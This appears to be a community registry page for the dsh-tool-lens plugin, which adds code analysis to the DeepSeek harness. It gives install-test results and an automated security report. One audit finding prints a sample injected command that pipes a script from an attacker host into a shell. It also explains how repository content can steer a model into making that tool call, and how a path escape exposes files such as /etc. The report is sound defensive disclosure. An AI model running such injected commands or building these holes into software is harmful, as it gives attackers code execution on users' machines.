Install verification: sandbox install ok, web smoke failed (L5) · tested on dsh 0.2.2-rc.3 · last checked Install verification details →
Data as of (UTC)
What it doesAI
DeepSeek Lens is a dsh plugin for AST-based code analysis and code graph exploration.
- AST-based code analysis
- Code graph visualization
- DeepSeek harness integration
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add @trench-xinxin/dsh-tool-lensInstall method: npm · sandbox install ok, web smoke failed (L5) · verified on dsh 0.2.2-rc.3
Trends
Four lines, four questions: total stars, stars gained this week, cumulative downloads, downloads this week. The GitHub pair comes from real-read sampling — a rotating daily shard, so one plugin is re-read roughly every 5–14 days, sparser than npm; the npm pair has a value on every snapshot day. The two cumulative panels are smoothed curves with no sample markers; the two weekly panels keep their raw bars and add a 4-week moving-average trend line that strips single-week noise down to the direction of travel.
7 samples (roughly every 7 days), 4 of them reconstructed (dashed runs); a smoothed curve through every sample — not a daily series
09-22 → 11-05 · 7 points
Bars = the delta between two samples 5–14 days apart (negative points down, faint bars contain reconstructed points); line = 4-week moving-average trend
10-02 → 11-05 · 6 points
Reconstructed backwards from the current total using daily downloads (gaps are not interpolated)
08-21 → 11-17 · 78 points
Bars = the snapshot’s last-week rolling window (official npm + npmmirror combined); line = 4-week moving-average trend — the shape of weekly demand, not a user count
08-21 → 11-18 · 79 points
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
Based on 1 requirement(s) across 1 @deepseek-ai/dsh-* packages. raw ranges
>=0.1.0-rc.1 || >=0.1.0 ×1
✓ Running dsh 0.2.2-rc.5 is within the declared range — install is not blocked by version.
Deciding channel: no engines.dsh declared, so every dsh* peer is checked (workspace:^ | ~ | * counts as the running version).
Whether it actually runs is a separate question → see the measured matrix below (L1–L5).
| plugin \ dsh | dsh 0.2.2-rc.3 | dsh 0.2.2-rc.1 | dsh 0.2.1-rc.5 | dsh 0.2.1-rc.3 | dsh 0.2.1-rc.2 |
|---|---|---|---|---|---|
| 2.0.5 | ✗ | ✗ | ✗ | ✗ | ✗ |
2.0.5npm19 failed2026-11-17
@trench-xinxin/dsh-tool-lens
✗dsh 0.2.2-rc.32026-11-17L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.2-rc.3
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.2.2-rc.3 · profile: l4-sandbox
Issued: 2026-11-17 · expires: 2026-11-24
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.2-rc.12026-11-06L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.2-rc.1
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.2.2-rc.1 · profile: l4-sandbox
Issued: 2026-11-06 · expires: 2026-11-13
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.52026-11-01L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.5
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.2.1-rc.5 · profile: l4-sandbox
Issued: 2026-11-01 · expires: 2026-11-08
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.32026-10-27L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.3
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.2.1-rc.3 · profile: l4-sandbox
Issued: 2026-10-27 · expires: 2026-11-03
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.22026-10-20L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-20 · expires: 2026-10-27
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-alpha.42026-10-18L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.2.1-alpha.4 · profile: l4-sandbox
Issued: 2026-10-18 · expires: 2026-10-25
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-alpha.22026-10-11L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-11 · expires: 2026-10-18
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.0-rc.22026-10-09L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.2.0-rc.2 · profile: l4-sandbox
Issued: 2026-10-09 · expires: 2026-10-16
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.0-rc.12026-09-29L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.2.0-rc.1 · profile: l4-sandbox
Issued: 2026-09-29 · expires: 2026-10-06
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.7-rc.22026-09-25L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.1.7-rc.2 · profile: l4-sandbox
Issued: 2026-09-25 · expires: 2026-10-02
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.7-rc.12026-09-24L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.1.7-rc.1 · profile: l4-sandbox
Issued: 2026-09-24 · expires: 2026-10-01
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.7-alpha.22026-09-23L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.7-alpha.2
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.1.7-alpha.2 · profile: l4-sandbox
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.6-alpha.22026-09-20L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.1.6-alpha.2 · profile: l3-fullscan
Issued: 2026-09-20 · expires: 2026-09-27
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.6-alpha.12026-09-17L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-17 · expires: 2026-09-24
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.5-rc.22026-09-11L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.1.5-rc.2 · profile: l4-sandbox
Issued: 2026-09-11 · expires: 2026-09-18
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.3-alpha.22026-09-08L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.1.3-alpha.2 · profile: l4-sandbox
Issued: 2026-09-08 · expires: 2026-09-15
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.3-alpha.12026-09-06L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.1.3-alpha.1 · profile: l4-sandbox
Issued: 2026-09-06 · expires: 2026-09-13
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.2-rc.12026-09-05L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.2-rc.1
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dsh0.1.2-rc.1 · profile: l4-sandbox
Issued: 2026-09-05 · expires: 2026-09-12
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗prehistory2026-10-05L5 · failed
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: npm · @trench-xinxin/dsh-tool-lens@2.0.5
ID: dsh-tool-lens@2.0.5@dshunknown · profile: l4-sandbox
Issued: 2026-10-05 · expires: 2026-10-12
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Only the latest 3 published versions are shown; source-snapshot (commit hash) groups, unstated groups and older versions are omitted — the full archive stays in the data layer (snapshot/unstated groups appear only when a plugin has no published version).
Author badges
Embed the dsh.so badges in your README to show this plugin's automated security-scan and install-test status:
`[](https://www.dsh.so/artifact/dsh-tool-lens/?ref=badge)`dsh.so is an independent community project, not affiliated with or endorsed by DeepSeek AI. Badges are maintained by dsh.so; embed links carry a ?ref= attribution parameter.
Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low; dynamic high (authoritative when present) → overall high.
v2.0.5dsh manifest2.0.5npm2026-11-192.0.5same versionclean · npmVet is an AST static scan (npm artifact or git source).
show static findings (6)
- criticalshellExec · shell
lib/index.mjs:2799if (commit) changedFilePaths = execSync(`git diff --name-only ${commit}`, { - criticalshellExec · shell
lib/index.mjs:2808else changedFilePaths = execSync("git status --porcelain", { - warningchildProcess · code-exec
bin/dsh-lens.js:73const child = spawn(npxCmd, ['-y', '@deepseek-ai/dsh', ...dshArgs], { - warningnetIp · network
bin/dsh-lens.js:41console.log(`[dsh-lens] ℹ️ Port 3080 is occupied, auto-routing to free port: http://127.0.0.1:${targetPort}`) - warningchildProcess · code-exec
bin/dsh-tool-lens.js:73const child = spawn(npxCmd, ['-y', '@deepseek-ai/dsh', ...dshArgs], { - warningnetIp · network
bin/dsh-tool-lens.js:41console.log(`[dsh-lens] ℹ️ Port 3080 is occupied, auto-routing to free port: http://127.0.0.1:${targetPort}`)
show 4 audit findings
- highShell command injection: model-supplied `commit` is interpolated into execSync
lib/index.mjs`action:'diff_impact'` forwards `lensArgs.commit` verbatim to `analyzeGitDiffImpact` -> `execSync` running through /bin/sh. Any value such as `HEAD; curl attacker.sh | sh` or `$(...)` executes arbitrary commands with the user's privileges. The parameter is free-form, LLM-generated, and reachable from a single tool call, so repository content that steers the model can turn this into host code execution.
- mediumspawn(..., { shell: true }) concatenates user argv into a shell command line
bin/dsh-lens.js:73With `shell:true` Node builds a single command string, so `dshArgs` (which contains the caller's raw `process.argv` values) is re-parsed by /bin/sh. Arguments containing `;`, `&&`, backticks or `$()` are interpreted instead of passed literally, so any wrapper/editor/CI that invokes this launcher with externally influenced arguments gets command execution. bin/dsh-tool-lens.js contains the identical code at line 73.
- medium`scope` is resolved without confinement, allowing indexing outside the workspace root
lib/index.mjs`resolve()` does not enforce containment: `scope:'../../..'` or an absolute `scope:'/etc'` makes `collectSourceFiles` walk directories outside the workspace and read their contents (readFileSync) into the graph. File paths and symbol names from those locations are then rendered into the model-visible markdown result, giving a path/symbol disclosure outside the sandbox; the same relative-path escape exists in `buildApiContractsResult`, which re-reads graph node paths.
- lowLauncher executes an unpinned remote package on every run
bin/dsh-tool-lens.js:73`npx -y @deepseek-ai/dsh` resolves and runs whatever version is latest on the registry at launch time, with no version pin or integrity verification; a compromised registry entry or hijacked release is executed with the user's privileges. This is the launcher's intended design, hence low.
Unsanitised `commit` reaches execSync and the CLI spawns npx with shell:true, both giving shell-command execution; workspace root can also be escaped via `scope`.
Rule (2026-10-28): when a dynamic conclusion exists it is authoritative (it may raise or lower the level); the static scan tier (vet primary, dsh backstop) applies only when there is none (not queued / audit failed / withdrawn). The audit never writes the exemption list (exemptions are manual only); a wrong conclusion is withdrawn by human review and the tier falls back to the static scan tier.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-08-18 · activity: Inactive
• Repo created: 2026-08-17
• Stars: ★ 4 · Forks: 0
• Health: Inactive — no commit in 90+ days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
Frequently asked questions
What is dsh-tool-lens?
dsh-tool-lens is a DeepSeek Harness (dsh) plugin listed on dsh.so — an independent community registry that indexes public source repositories and publishes automated security-scan and install-verification results for each entry.
Is dsh.so or this plugin page official?
dsh.so is an independent community registry and is not affiliated with, endorsed by, or sponsored by DeepSeek AI.
How do I install dsh-tool-lens?
Run dsh plugin --profile web add @trench-xinxin/dsh-tool-lens in a DeepSeek Harness (dsh) environment. That exact command passed a real install inside an isolated sandbox (L4); the web smoke test (L5) has not passed yet.
How does the security scan relate to a manual audit?
Both layers are automated, not a manual audit. The static scan is heuristic analysis of the repository source, so it can produce false positives and miss context. The model-driven dynamic security audit only covers plugins static-flagged at warn or above, never executes plugin code, and its conclusion is authoritative when there is one (it may raise or lower the static tier); exemptions stay manual. Neither layer is an endorsement: review the repository and the permissions it asks for before installing, together with the verification level and health signals.
How fresh is the data on this page?
The data on this page is as of 2026-11-19 (UTC) — the most recent valid timestamp among the registry refresh, install verification, security scan and dynamic audit. Build time is never used as a data date.
